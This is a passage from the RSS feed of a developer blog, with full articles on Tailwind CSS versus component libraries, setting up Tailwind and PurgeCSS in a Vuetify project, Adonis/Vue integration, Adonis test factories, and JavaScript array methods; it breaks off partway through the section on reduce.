<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Feed of Michael Zanggl</title>
        <link>https://michaelzanggl.com/feed.xml</link>
        <description>Come aboard!</description>
        <lastBuildDate>Mon, 25 Aug 2025 20:03:24 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/nuxt-community/feed-module</generator>
        <item>
            <title><![CDATA[A case against component libraries]]></title>
            <link>https://michaelzanggl.com/articles/a-case-against-component-libraries/</link>
            <guid>a-case-against-component-libraries</guid>
            <description><![CDATA[CSS frameworks are a great way to quickstart a project. They let you focus on your application rather than the design. This is especially great if you are not a designer and don't have one in your team.]]></description>
            <content:encoded><![CDATA[<p>CSS frameworks are a great way to quickstart a project. They let you focus on your application rather than the design. This is especially great if you are not a designer and don't have one in your team.</p>
<p>But over time you need customization and this is where the fight over specificity, the fight against the framework begins.</p>
<p>This is of course nothing new, people have argued over this for a long long time.</p>
<p>The thing though is, that this was actually not such a big problem before. Sure you maybe needed some <code>!important</code> and other ugly hacks here and there, but it was at least not hard to know where to add those overrides.</p>
<p>Nowadays, some small class you want to override lives inside a component of the framework, isolated away. The class names are generated automatically and what was once an easy hack away to change became incredibly tedious to override.</p>
<p>In Vuetify I find myself doing this</p>
<pre class="hljs"><code><span class="hljs-selector-class">.list-tile</span><span class="hljs-selector-pseudo">:hover</span> &gt;&gt;&gt; <span class="hljs-selector-class">.v-list__tile</span> {
    <span class="hljs-attribute">background</span>: transparent;
}
</code></pre>
<p><code>v-list__tile</code> being a class inside one of Vuetify's components. If this internally used class name gets changed, will that even be mentioned in the upgrade guide?</p>
<x-ad />
<p>Another thing is the API of modern CSS frameworks. Bootstrap's APIs and CSS classes were very simple to keep in your head. But today, whenever I develop using such a framework, I have to have the documentation of Vuetify, Material UI or whatever open at all times, getting ready to copy paste 50 lines of code for a simple dialog. There is no way I will remember all the props, scopes, events, etc. of each component. This whole copy paste action also takes away the fun to be honest.</p>
<p>Ever since I started using the low level utility-first CSS framework <a href="https://tailwindcss.com/">Tailwind</a>, working with anything else feels unproductive. I've written a blog post on it <a href="/articles/utility-first-css">here</a>. Sure, at first you need to look at the documentation, but it's API is predictable and easy to remember, also there are tools for autocompletion available. The best thing is that it is completely framework agnostic. No new API to learn just because you decide to use React over Vue in your next project.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Add Tailwind CSS to a vuetify project]]></title>
            <link>https://michaelzanggl.com/articles/add-tailwind-css-to-vuetify/</link>
            <guid>add-tailwind-css-to-vuetify</guid>
            <description><![CDATA[Want to try out tailwind CSS in your project, but it already uses a component library? Let me help you with that!]]></description>
            <content:encoded><![CDATA[<p>So you finished reading <a href="/articles/utility-first-css">my article</a> on the benefits of utility-first CSS (🤗) and want to try it out in your project, but it already uses a component library? Let me help you with that!</p>
<blockquote>
<p><strong>Note:</strong> I am sure you will find some useful tips here even if you are fighting with a library other than vuetify</p>
</blockquote>
<hr>
<h2 id="basic-setup">Basic setup</h2>
<p>Adding tailwind is actually pretty straight forward, but there a few hurdles to get around.</p>
<p>Start by installing tailwind</p>
<pre class="hljs"><code>npm install tailwindcss
</code></pre>
<x-ad />
<p>Next, let's create the CSS file that tailwind places all the classes inside.
You could also add it to a vue file, but I didn't get it to work with purgeCSS which we will need to reduce the CSS to only the minimum.</p>
<p>Here is the code</p>
<pre class="hljs"><code><span class="hljs-comment">/* resources/assets/css/app.css */</span>

<span class="hljs-keyword">@tailwind</span> base;
<span class="hljs-keyword">@tailwind</span> components;
<span class="hljs-keyword">@tailwind</span> utilities;
</code></pre>
<p>Now, let's instruct tailwind to create the config file, which we will tinker with later</p>
<pre class="hljs"><code>npx tailwindcss init
</code></pre>
<p>To complete the basic setup follow step 4 <a href="https://tailwindcss.com/docs/installation#4-process-your-css-with-tailwind">here</a>. This highly depends on your build setup. For example, I use laravel-mix to compile my assets, so I added the following to my <code>webpack.mix.js</code> file:</p>
<pre class="hljs"><code>mix.postCss(<span class="hljs-string">'resources/assets/css/app.css'</span>, <span class="hljs-string">'public/css'</span>, [
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'tailwindcss'</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'autoprefixer'</span>),
]
</code></pre>
<blockquote>
<p>Don't forget to import the css file in your HTML</p>
</blockquote>
<h2 id="customizations">Customizations</h2>
<p>Tailwind should already work by now, but your project's layout probably changed here and there. There are two steps we have to take here:</p>
<ol>
<li>Add a prefix to our tailwind classes</li>
<li>disable preflight</li>
</ol>
<p>Some classnames are clashing between tailwindcss and vuetify. To avoid this, head over to the previously generated <code>tailwind.config.js</code> and add a prefix</p>
<pre class="hljs"><code><span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">prefix</span>: <span class="hljs-string">'tw-'</span>,
  <span class="hljs-attr">theme</span>: {
    <span class="hljs-attr">extend</span>: {},
  },
  <span class="hljs-attr">variants</span>: {},
  <span class="hljs-attr">plugins</span>: [],
}
</code></pre>
<p>This means that, for example, instead of the class <code>flex</code>, the class name in your project will be <code>tw-flex</code>.</p>
<p>Next, tailwindcss gets rid of some cross-browser inconsistencies for us by default, but vuetify is doing the same thing already, so it's better to disable preflight in tailwindcss. Go back to <code>tailwind.config.js</code> and add:</p>
<pre class="hljs"><code><span class="hljs-built_in">module</span>.exports = {
  <span class="hljs-attr">corePlugins</span>: {
    <span class="hljs-attr">preflight</span>: <span class="hljs-literal">false</span>,
  },
  <span class="hljs-attr">prefix</span>: <span class="hljs-string">'tw-'</span>,
  <span class="hljs-attr">theme</span>: {
    <span class="hljs-attr">extend</span>: {},
  },
  <span class="hljs-attr">variants</span>: {},
  <span class="hljs-attr">plugins</span>: [],
}
</code></pre>
<h2 id="purgecss">PurgeCSS</h2>
<p>So far so good, let's tackle the last problem. TailwindCSS creates thousands of CSS classes, so if you take a look at your bundle size, it increased quite significantly! We can overcome this by adding purgeCSS, this will get rid of any unused CSS for us.</p>
<blockquote>
<p><strong>Note</strong>: Newer versions of Tailwind already come with purgeCSS support. Check the docs: <a href="https://tailwindcss.com/docs/controlling-file-size">https://tailwindcss.com/docs/controlling-file-size</a></p>
</blockquote>
<p>First, install the package</p>
<pre class="hljs"><code>npm install @fullhuman/postcss-purgecss --save-dev
</code></pre>
<p>Next, add it to your postCSS plugins (from tailwind documentation)</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> purgecss = <span class="hljs-built_in">require</span>(<span class="hljs-string">'@fullhuman/postcss-purgecss'</span>)({
    <span class="hljs-comment">// Specify the paths to all of the template files in your project </span>
    <span class="hljs-attr">content</span>: [ <span class="hljs-string">'./resources/assets/js/**/*.vue'</span> ],

    <span class="hljs-attr">css</span>: [<span class="hljs-string">'./resources/assets/css/app.css'</span>],

    <span class="hljs-comment">// Include any special characters you're using in this regular expression</span>
    <span class="hljs-attr">defaultExtractor</span>: <span class="hljs-function"><span class="hljs-params">content</span> =&gt;</span> content.match(<span class="hljs-regexp">/[\w-/:]+(?&lt;!:)/g</span>) || [],
})

mix.postCss(<span class="hljs-string">'resources/assets/css/app.css'</span>, <span class="hljs-string">'public/css'</span>,[
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'tailwindcss'</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'autoprefixer'</span>),
    purgecss,
])
</code></pre>
<p>And go to <code>app.css</code> and tell purgeCSS not to purge tailwind's base classes</p>
<pre class="hljs"><code><span class="hljs-comment">/* purgecss start ignore */</span>
<span class="hljs-keyword">@tailwind</span>  base;
<span class="hljs-keyword">@tailwind</span>  components;
<span class="hljs-comment">/* purgecss end ignore */</span>

<span class="hljs-keyword">@tailwind</span> utilities;
</code></pre>
<p>Now let it compile and you will find your application in a very sad state with all the vuetify styles being removed :o</p>
<p>Right, so we need to tell purgeCSS to leave vuetify alone.</p>
<p>To do that head over to your main javascript file where you import vuetify's CSS like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> <span class="hljs-string">'vuetify/dist/vuetify.min.css'</span>
</code></pre>
<p>Get rid of it :)</p>
<p>Instead, let's add the import to our app.css file inside the <strong>purgecss ignore block</strong></p>
<pre class="hljs"><code><span class="hljs-comment">/* purgecss start ignore */</span>
<span class="hljs-keyword">@import</span> <span class="hljs-string">'vuetify/dist/vuetify.min.css'</span>;
<span class="hljs-keyword">@tailwind</span>  base;
<span class="hljs-keyword">@tailwind</span>  components;
<span class="hljs-comment">/* purgecss end ignore */</span>

<span class="hljs-keyword">@tailwind</span> utilities;
</code></pre>
<p>In order for &quot;@import&quot; to work we need to install a custom package</p>
<pre class="hljs"><code>npm install postcss-import
</code></pre>
<p>and register it in postCSS</p>
<pre class="hljs"><code>mix.postCss(<span class="hljs-string">'resources/assets/css/app.css'</span>, <span class="hljs-string">'public/css'</span>,[
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'tailwindcss'</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'autoprefixer'</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">"postcss-import"</span>),
    purgecss,
])
</code></pre>
<p>And we are almost done! You can now test it in the browser. But be aware that, at least with laravel-mix, the CSS will get purged only for the first compile. That means, if you keep a watch over changes, it will not &quot;unpurge&quot; new CSS classes you add. To overcome this, let's only purge our CSS when compiling for production:</p>
<pre class="hljs"><code>mix.postCss(<span class="hljs-string">'resources/assets/css/app.css'</span>, <span class="hljs-string">'public/css'</span>,[
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'tailwindcss'</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">'autoprefixer'</span>),
    <span class="hljs-built_in">require</span>(<span class="hljs-string">"postcss-import"</span>),
    ...process.env.NODE_ENV === <span class="hljs-string">'production'</span> ? [purgecss] : []
])
</code></pre>
<p>お疲れ様です！</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build Adonis/Vue apps without an API]]></title>
            <link>https://michaelzanggl.com/articles/adonis-vue-without-api/</link>
            <guid>adonis-vue-without-api</guid>
            <description><![CDATA[A prototype of how to seamlessly integrate Adonis.js and Vue.js.]]></description>
            <content:encoded><![CDATA[<p>In <a href="https://michaelzanggl.com/articles/bye-bye-api-layer/">a previous post</a> I created a prototype of seamless integration between frontend and backend.</p>
<p>To save you from reading the article, here's a gist:</p>
<blockquote>
<p>No more fetch requests to the backend, no more setting up API routes, no need for controllers. Leaving you with what is essentially just calling a function (referred to as an action).</p>
</blockquote>
<blockquote>
<p>Under the hood, it creates the API routes automatically and turns backend imports on the frontend into network requests.</p>
</blockquote>
<p>This time I've taken the same approach and applied it to something more realistic. An app that uses Adonis.js on the backend and Vue.js on the frontend.</p>
<x-ad />
<h2 id="how-it-looks-like">How it looks like</h2>
<p><a href="https://github.com/MZanggl/adonis-vue-without-api">Here</a> is the GitHub of the little app. It contains a couple of actions like getting all users, creating users, and logging in.</p>
<p>To keep this example simple, let's just see how we can get the list of all users.</p>
<h3 id="backend-extracted-from-actionsuser.js">Backend (extracted from <code>Actions/user.js</code>)</h3>
<pre class="hljs"><code><span class="hljs-keyword">const</span> User = use(<span class="hljs-string">'App/Models/User'</span>)

exports.getAllUsers = <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">return</span> User.all()
}
</code></pre>
<h3 id="frontend-extracted-from-app.vue">Frontend (extracted from <code>App.vue</code>)</h3>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">"user in users"</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">"user.id"</span>&gt;</span>
      [{{ user.id }}] {{ user.email }}
    <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> { getAllUsers } <span class="hljs-keyword">from</span> <span class="hljs-string">'../../api/app/Actions/user'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">users</span>: [] }
    },
    <span class="hljs-keyword">async</span> mounted() {
        <span class="hljs-keyword">this</span>.users = <span class="hljs-keyword">await</span> getAllUsers()
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Seeeeamless ;)</p>
<h2 id="changes-to-the-previous-prototype">Changes to the previous prototype</h2>
<p>Mainly there's a new <code>seamlesslyrc.json</code> file that holds everything together. The backend will write all generated routes to this file and the frontend will then consume it.</p>
<p>Having this file comes with a lot of benefits over the previous prototype:</p>
<ul>
<li>No need for language/framework parsing</li>
<li>single source of truth for the whole API generation</li>
<li>Can be used to look up the API</li>
<li>Can be used to store more things in the future like the endpoint prefix (currently always <code>/api</code>)</li>
<li>using other HTTP methods than just POST is a lot easier.</li>
</ul>
<p>The loader and API generator is under a new package called <a href="https://github.com/MZanggl/seamlessly">seamlessly</a>.</p>
<p>And you can find the integration for the above example here:</p>
<ul>
<li>backend: <a href="https://github.com/MZanggl/adonis-vue-without-api/blob/master/api/start/routes.js">https://github.com/MZanggl/adonis-vue-without-api/blob/master/api/start/routes.js</a></li>
<li>frontend: <a href="https://github.com/MZanggl/adonis-vue-without-api/blob/master/ui/vue.config.js">https://github.com/MZanggl/adonis-vue-without-api/blob/master/ui/vue.config.js</a></li>
</ul>
<hr>
<p>There are still some things that require some more thought, but I guess for the next test, I will try to use a non-JS language as the backend. Laravel 🤔🤔🤔</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Adonis.js - Advanced factories]]></title>
            <link>https://michaelzanggl.com/articles/adonisjs-advanced-factories/</link>
            <guid>adonisjs-advanced-factories</guid>
            <description><![CDATA[Little tricks to simplify writing factories in Adonis.js.]]></description>
            <content:encoded><![CDATA[<p>For a while now I have been using these little tricks to simplify writing factories.</p>
<h2 id="nr.-1-override">Nr. 1: override</h2>
<p>Oftentimes you write a factory that requires a foreign key from another table like here:</p>
<pre class="hljs"><code>Factory.blueprint(<span class="hljs-string">'App/Models/Subscription'</span>, <span class="hljs-keyword">async</span> (faker, i, data) =&gt; {
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">user_id</span>: <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create().then(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.id),
    <span class="hljs-attr">plan</span>: <span class="hljs-string">'monthly'</span>,
  }
})
</code></pre>
<p>But sometimes you already have a user and don't want to create a new one, so you need to add some logic to your blueprint</p>
<pre class="hljs"><code>Factory.blueprint(<span class="hljs-string">'App/Models/Subscription'</span>, <span class="hljs-keyword">async</span> (faker, i, data = {}) =&gt; {
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">user_id</span>: data.user_id || <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create().then(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.id),
    <span class="hljs-attr">plan</span>: <span class="hljs-string">'monthly'</span>,
  }
})
</code></pre>
<p>and then call it like this</p>
<pre class="hljs"><code>Factory.model(<span class="hljs-string">'App/Models/Subscription'</span>, { <span class="hljs-attr">user_id</span>: <span class="hljs-number">1</span> })
</code></pre>
<p>Having to do this repeatedly can get quite cumbersome, because you have to write a lot of it for your tests. I have created this little &quot;magic&quot; method that automates this for you: <a href="https://github.com/MZanggl/adonis-override-factory">https://github.com/MZanggl/adonis-override-factory</a>.</p>
<p>Our blueprint from before now becomes</p>
<pre class="hljs"><code>Factory.blueprint(<span class="hljs-string">'App/Models/Subscription'</span>, <span class="hljs-keyword">async</span> (faker, i, data) =&gt; {
  <span class="hljs-keyword">return</span> override({
    <span class="hljs-attr">user_id</span>: <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create(),
    <span class="hljs-attr">plan</span>: <span class="hljs-string">'monthly'</span>,
  }, data)
})
</code></pre>
<p>Note how the default data is now wrapped inside the &quot;override&quot; method. The &quot;Factory...create()&quot; is also wrapped in a higher-order function to avoid executing it when data was passed.</p>
<p>Finally, there is no need for <code>.then(user =&gt; user.id)</code> because the &quot;override&quot; method resolves the id automatically when it receives an object.</p>
<x-ad />
<h2 id="nr-2-factory.model-%3D%3E-factory">Nr 2: 'Factory.model' =&gt; 'factory'</h2>
<p>Inside <code>vowfile.js</code> where you set up the test environment I have added this little global helper:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

global.factory = <span class="hljs-function">(<span class="hljs-params">model</span>) =&gt;</span> {
    <span class="hljs-keyword">return</span> Factory.model(model)
}
</code></pre>
<p>So instead of writing</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)
Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
</code></pre>
<p>we can now do</p>
<pre class="hljs"><code>factory(<span class="hljs-string">'App/Models/User'</span>).create()
</code></pre>
<p>It's again a way to save some keystrokes. While globals are considered harmful, there are some use cases and there is no problem to <a href="https://www.youtube.com/watch?v=lEUkarkROv0&amp;list=PL9wALaIpe0Py6E_oHCgTrD6FvFETwJLlx&amp;index=4">use globals when the price is right</a>.</p>
<hr>
<p>I like to make not too many modifications to the framework as it can make upgrading more difficult and the project becomes more custom in general, so I try to keep such things to a minimum and only apply them after a long trial period with the things the framework provides by default.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Array methods and iterables - Stepping up your JavaScript game]]></title>
            <link>https://michaelzanggl.com/articles/array-methods-and-iterables/</link>
            <guid>array-methods-and-iterables</guid>
            <description><![CDATA[Learn all about the benefits of JavaScript's array methods and iterables, effectively avoiding temporary variables and conditions, as well as revealing intent.]]></description>
            <content:encoded><![CDATA[<p>Today I want to introduce some array methods that help you step up your JavaScript game.</p>
<p>For all examples, let's imagine we have the following variable declaration</p>
<pre class="hljs"><code><span class="hljs-keyword">let</span> users = [
  {<span class="hljs-attr">id</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">'Michael'</span>, <span class="hljs-attr">active</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">1</span> }, 
  {<span class="hljs-attr">id</span>: <span class="hljs-number">2</span>, <span class="hljs-attr">name</span>: <span class="hljs-string">'Lukas'</span>, <span class="hljs-attr">active</span>: <span class="hljs-literal">false</span>, <span class="hljs-attr">group</span>: <span class="hljs-number">2</span> }
]
</code></pre>
<p>Throughout this article you will understand how to turn this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> activeUsernames = []

users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  <span class="hljs-keyword">if</span> (user.active) {
    activeUsernames.push(user.name)
  }
})
</code></pre>
<p>into this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> activeUsernames = users
  .filter(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.active)
  .map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>as well as a lot more.</p>
<x-ad />
<p>We want to focus on four objectives when it comes to code improvements</p>
<ul>
<li>avoiding temporary variables</li>
<li>avoiding conditionals</li>
<li>be able to think of your code in steps</li>
<li>reveal intent</li>
</ul>
<p>We will highlight the most important methods on the Array prototype (leaving out basic array manipulation like <code>push</code>, <code>pop</code>, <code>splice</code> or <code>concat</code>) and hopefully you will find scenarios where you can apply these instead of the following usual suspects.</p>
<p><strong>for loop</strong></p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
    <span class="hljs-comment">//</span>
}
</code></pre>
<p><strong>Array.prototype.forEach</strong></p>
<pre class="hljs"><code>users.forEach(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">user</span>) </span>{
    <span class="hljs-comment">//</span>
}
</code></pre>
<p><strong>ES6 for of Loop</strong></p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> user <span class="hljs-keyword">of</span> users) {
    <span class="hljs-comment">//</span>
}
</code></pre>
<hr>
<p>One more thing before we get started!</p>
<p>If you are unfamiliar with ES6 arrow functions like:</p>
<pre class="hljs"><code>users.map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>I recommend you to take a look at those first.
In summary, the above is very similar, and in this case, the same as</p>
<pre class="hljs"><code>users.map(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">user</span>) </span>{
   <span class="hljs-keyword">return</span> user.name
})
</code></pre>
<hr>
<h2 id="array.prototype.filter">Array.prototype.filter</h2>
<p>Let's say we want to find all users that are active. We briefly looked at this in the introduction of the article.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> activeUsers = []

users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  <span class="hljs-keyword">if</span> (user.active) {
    activeUsers.push(user)
  }
})
</code></pre>
<p>If we look back at the four objectives we set before, it is very obvious that this is violating at least two of them.
It has both <strong>temporary variables</strong> as well as <strong>conditionals</strong>.</p>
<p>Let's see how we can make this easier.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> activeUsers = users.filter(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.active)
</code></pre>
<p>The way <code>Array.prototype.filter</code> works is that it takes a function as an argument (which makes it a higher order function) and returns all users that pass the test. In this case all users that are active.</p>
<p>I think it is safe to say that we were also able to reveal our intent. <code>forEach</code> can mean anything, it might save to the database, etc. while <code>filter</code> does what the name suggests.</p>
<p>Of course you can also use <code>filter</code> on a simple array.
The following example would return all animals starting with the letter a.</p>
<pre class="hljs"><code>[<span class="hljs-string">'ape'</span>, <span class="hljs-string">'ant'</span>, <span class="hljs-string">'giraffe'</span>].filter(<span class="hljs-function"><span class="hljs-params">animal</span> =&gt;</span> animal.startsWith(<span class="hljs-string">'a'</span>))
</code></pre>
<p>A use case I also see often is removing items from an array. Imagine we delete the user with the id 1. We can do it like this</p>
<pre class="hljs"><code>users = users.filter(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.id !== <span class="hljs-number">1</span>)
</code></pre>
<p>Another use for filter is the following</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> result = [<span class="hljs-literal">true</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-literal">false</span>, <span class="hljs-string">''</span>, <span class="hljs-string">'hi'</span>].filter(<span class="hljs-built_in">Boolean</span>) 
result <span class="hljs-comment">//? [true, 1, 'hi']</span>
</code></pre>
<p>This effectively removes all falsy values from the array. There is no magic going on here. <code>Boolean</code> is a function that takes an argument to test whether it is truthy or not. E.g. <code>Boolean('')</code> returns false, while <code>Boolean('hi')</code> returns true. We simply pass the function into the <code>filter</code> method, so it acts as our test.</p>
<h2 id="array.prototype.map">Array.prototype.map</h2>
<p>It often happens that we have an array and want to transform every single item in it. Rather than looping through it, we can simply map it.
Map returns an array with the same length of items, it's up to you what to return for each iteration.</p>
<p>Let's create an array that holds the usernames of all our users.</p>
<p>Traditional loop</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = []

users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  usernames.push(user.name)
})
</code></pre>
<p>Mapping it</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> usernames = users.map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>We avoid <em>temporary variables</em> and <em>reveal intent</em> at the same time.</p>
<h2 id="chaining">Chaining</h2>
<p>What is great about these higher order functions is that they can be chained together. <code>map</code> maps through an array and returns a new array. <code>filter</code> filters an array and returns a new array. Can you see a pattern? With this in mind, code like the following becomes not only possible but very readable</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> activeUsernames = users
  .filter(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.active)
  .map(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.name)
</code></pre>
<p>And with this we complete our final objective <code>to think in steps</code>. Rather than thinking out the whole logic in your head, you can do it one step at a time. Think of the example we had at the very start.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> activeUsernames = []

users.forEach(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> {
  <span class="hljs-keyword">if</span> (user.active) {
    activeUsernames.push(user.name)
  }
})
</code></pre>
<p>When you read this for the first time, in your mind the process would go somewhat like</p>
<pre class="hljs"><code><span class="hljs-bullet">- </span>initialize an empty array
<span class="hljs-bullet">- </span>loop through all users
<span class="hljs-bullet">    - </span>if user is active
<span class="hljs-bullet">        - </span>push to the array from the beginning
<span class="hljs-bullet">            - </span>but only the name of the user
<span class="hljs-bullet">- </span>repeat
</code></pre>
<p>With the refactored method it looks more like this</p>
<pre class="hljs"><code><span class="hljs-bullet">- </span>get all active users
<span class="hljs-bullet">- </span>create new array of the same size
<span class="hljs-bullet">    - </span>that only hold their username
</code></pre>
<p>That's a lot easier to think and reason about.</p>
<hr>
<p>There are many more interesting methods available. Let's check out some more.</p>
<h2 id="array.prototype.find">Array.prototype.find</h2>
<p>The same way <code>filter</code> returns an array with all the items that pass the test, <code>find</code> returns the first item that passes the test.</p>
<pre class="hljs"><code><span class="hljs-comment">// returns user with id 1</span>
users.find(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.id === <span class="hljs-number">1</span>)
</code></pre>
<blockquote>
<p><code>Array.prototype.findIndex</code> works the same way but it returns the index instead of the item</p>
</blockquote>
<p>For arrays that don't require deep checking there is no need to have the overhead of an extra function, you can simply use <code>includes</code> and <code>indexOf</code> respectively.</p>
<pre class="hljs"><code>[<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>].includes(<span class="hljs-string">'b'</span>) <span class="hljs-comment">//? true</span>
[<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>].indexOf(<span class="hljs-string">'a'</span>) <span class="hljs-comment">//? 0</span>
[<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>].includes(<span class="hljs-string">'d'</span>) <span class="hljs-comment">//? false</span>
[<span class="hljs-string">'a'</span>, <span class="hljs-string">'b'</span>, <span class="hljs-string">'c'</span>].indexOf(<span class="hljs-string">'d'</span>) <span class="hljs-comment">//? -1</span>
</code></pre>
<h2 id="array.prototype.some">Array.prototype.some</h2>
<p>Returns true if at least one test passes. We can use this when we want to check if at least one user in our array is active.</p>
<p>Traditional solution using for loop</p>
<pre class="hljs"><code><span class="hljs-keyword">let</span> activeUserExists = <span class="hljs-literal">false</span>
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
  <span class="hljs-keyword">if</span> (users[i].active) {
    activeUserExists = <span class="hljs-literal">true</span>
    <span class="hljs-keyword">break</span>
  }
}
</code></pre>
<p>Solution using <code>some</code></p>
<pre class="hljs"><code>users.some(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.active)
</code></pre>
<h2 id="array.prototype.every">Array.prototype.every</h2>
<p>Returns true if all items pass the test. We can use this when we want to check whether all users are active or not.</p>
<p>Traditional solution using for loop</p>
<pre class="hljs"><code><span class="hljs-keyword">let</span> allUsersAreActive = <span class="hljs-literal">true</span>
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; users.length; i++) {
  <span class="hljs-keyword">if</span> (!users[i].active) {
    allUsersAreActive = <span class="hljs-literal">false</span>
    <span class="hljs-keyword">break</span>
  }
}
</code></pre>
<p>Solution using <code>every</code></p>
<pre class="hljs"><code>users.every(<span class="hljs-function"><span class="hljs-params">user</span> =&gt;</span> user.active)
</code></pre>
<h2 id="array.prototype.reduce">Array.prototype.reduce</h2>
<p>If none of the above functions can help you, reduce will! It basically boils down the array to whatever you want it to be. Let's look at a very simple implementation with numbers. We want to sum all the numbers in the array. In a traditional forEach loop it would look like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> numbers = [<span class="hljs-number">5</span>, <span class="hljs-number">4</span>, <span class="hljs-number">1</span>]
<span class="hljs-keyword">let</span> sum = <span class="hljs-number">0</span>
numbers.forEach(<span class="hljs-function"><span class="hljs-params">number</span> =&gt;</span> sum += number)
sum <span class="hljs-comment">//? 10</span>
</code></pre>
<p>But the reduce function takes away some of the boilerplate for us.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> numbers = [<span class="hljs-number">5</span>, <span class="hljs-number">2</span>, <span class="hljs-number">1</span>, <span class="hljs-number">2</span>]
numbers.reduce(<span class="hljs-function">(<span class="hljs-params">result, number</span>) =&gt;</span> result + number, <span class="hljs-number">0</span>) <span class="hljs-comment">//? 10</span>
</code></pre>
<p><code>reduce</code> takes two arguments, a function and the start value. In our case the start value is zero. If we would pass 2 instead of 0 the end result would be 12.</p>
<p>So in the following example</p>
